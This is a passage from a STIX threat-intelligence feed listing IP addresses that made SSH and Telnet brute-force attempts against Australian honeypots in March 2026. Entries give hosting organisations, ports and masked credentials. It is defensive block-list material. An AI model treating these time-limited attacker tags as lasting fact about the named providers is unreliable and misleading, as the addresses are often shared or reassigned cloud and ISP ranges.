      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.8.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--f7147acb-d2cb-4453-a7cb-77a295b2c41b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '109.123.245.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, s*****t, u**r, 1**4. Passwords observed (masked): 1**4, a***n, p******d, 1***5, 0**************D.",
      "id": "indicator--44235e62-7505-4a18-bebb-5cdb4cfbbf4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.158.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t. Passwords observed (masked): a****e.",
      "id": "indicator--5f021e7c-836b-4e3a-bf03-3528723a3cc3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.208.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited.",
      "id": "indicator--dacd6371-dbe3-4a4a-9e5c-e72fd551db1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.237.27.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): c***d, r**t, 3**********4, a******k, b*****r. Passwords observed (masked): ***, 1**4, 1****6, 1*******!, 3***********4.",
      "id": "indicator--e5a46e2b-b9c0-4a9d-b818-75001dead3c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.94.237.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 350. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): 3**********4, c***d, d**1, d****n, ***. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, ***.",
      "id": "indicator--f4704c27-cfb6-4eb0-8232-29337ff5f372",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.231.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): c***d, 3**********4, a******k, b*****r, m****h. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, a**********s.",
      "id": "indicator--eb42e6df-f002-4307-8ad7-050b0cecc0d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.99.97.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 421. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): 3**********4, c***d, d**1, d****n, ***. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, ***.",
      "id": "indicator--207bd393-7696-431b-8695-5b636adf6c2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.244.37.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 43350. Organisation(s): NForce Entertainment B.V..",
      "id": "indicator--5ee36acd-4492-4b81-af8f-a7b19bbef225",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.107.80.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--964f8e6b-a4e8-42e2-921b-70af00cbe8d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, b****p. Passwords observed (masked): 1****e, 1*******y, 4**1, **, ***.",
      "id": "indicator--ae0f7b3c-73be-44ab-bd81-4150cea5a989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.88.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T22:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6300. Organisation(s): Fidium. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--60e1fa82-979f-4bd2-b3e9-da8a61ab93ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T22:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.92.6.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T22:15:13.000Z",
      "valid_until": "2026-04-10T22:15:12.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38732. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): a****s, 3**********4, c*****e, k****l, n*****x. Passwords observed (masked): p******d, ***, 1**4, 1***5, 1****6.",
      "id": "indicator--79c3b49c-4ad4-43e6-83c5-f0d30fad0268",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.63.108.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): 3**********4, a****r, d***n, a****s, c***d. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1******8, a********s.",
      "id": "indicator--e9fa1fce-fb17-49df-96b8-174eb563d8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.14.190.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): k***y. Passwords observed (masked): k***y.",
      "id": "indicator--74783a32-f012-4a5b-90e0-780d0887dece",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.110.7.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--eda23a14-37d9-47c6-a996-60f182e929ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.158.176.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): a****s, 3**********4, c***d, c*****e, k****l. Passwords observed (masked): ***, 1****6, p******d, 1**4, 1***5.",
      "id": "indicator--f3212d9c-46bf-4e4f-818d-74a3ea0b9595",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '133.88.120.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 30823. Organisation(s): aurologic GmbH. Usernames observed (masked): r**t, 3**********4, b*****r, c***d, h**h. Passwords observed (masked): ***, 3***********4, 3**********4, J******3, R*******!.",
      "id": "indicator--01cae381-47a5-41bd-b851-a0e96d6c76b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.86.92.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): m****r, r**i. Passwords observed (masked): 1**4, p******d.",
      "id": "indicator--8f3123c4-0e99-41a2-bd2c-4c3d6011dfb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.244.5.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-09T23:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--5978bb2e-797e-4fc9-8df5-4012840bd9c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T23:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.74.36.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T23:15:13.000Z",
      "valid_until": "2026-04-10T23:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a09d21b1-7443-496d-bcb0-f675dad73893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.246.157.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): a***n, 0****0, 1****1, ***, 1****3.",
      "id": "indicator--c1855300-03e0-4b19-a6ad-0f4023f78f2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.75.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r********r, 3**********4, a*******t, b**m, c***d. Passwords observed (masked): 1**4, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--49f1a1dd-985c-4d8c-b9fe-17e9ab78f476",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.190.142.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5f3579ea-321e-4d00-9219-f91ba950d9f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--edc1905f-f330-4bd1-b711-61afb03593e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.74.84.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--4d45524f-6cd7-491f-abf0-e80659ccd738",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.163.241.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LV. ASN(s): 211443. Organisation(s): Sino Worldwide Trading Limited. Usernames observed (masked): a***n. Passwords observed (masked): a************e.",
      "id": "indicator--5f19a46f-2b0f-4eb9-b1d0-efb3abcd9f94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.21.239.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T00:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--08ea0656-dc76-4a89-9d4a-6c91fa35fd88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T00:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T00:15:13.000Z",
      "valid_until": "2026-04-11T00:15:11.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): d***s. Passwords observed (masked): d*******s.",
      "id": "indicator--e55e10e0-f617-4a98-920e-df998ad297c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.123.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--548c04f8-4784-4bd3-b392-c17a02034e8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.175.34.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): 3**********4, a***o, s******1, ***, c***d. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1***5, 1******8.",
      "id": "indicator--6a8ca04d-0af7-4b96-8a0a-08ff20fb7883",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.218.9.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--bb8d650d-eff2-4b96-bfff-766796b7bf2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): 3**********4, *, r**k, c***d, e**a. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, c***!.",
      "id": "indicator--a351a136-9609-4b54-a08c-56da7ddf5474",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.11.64.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T01:15:13.000Z",
      "valid_until": "2026-04-11T01:15:12.000Z"
    },
    {
      "created": "2026-03-10T01:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d013a169-9907-44cb-b565-118e88f8caf1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-10T01:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '3.88.110.161']",
      "pattern_type": "stix",
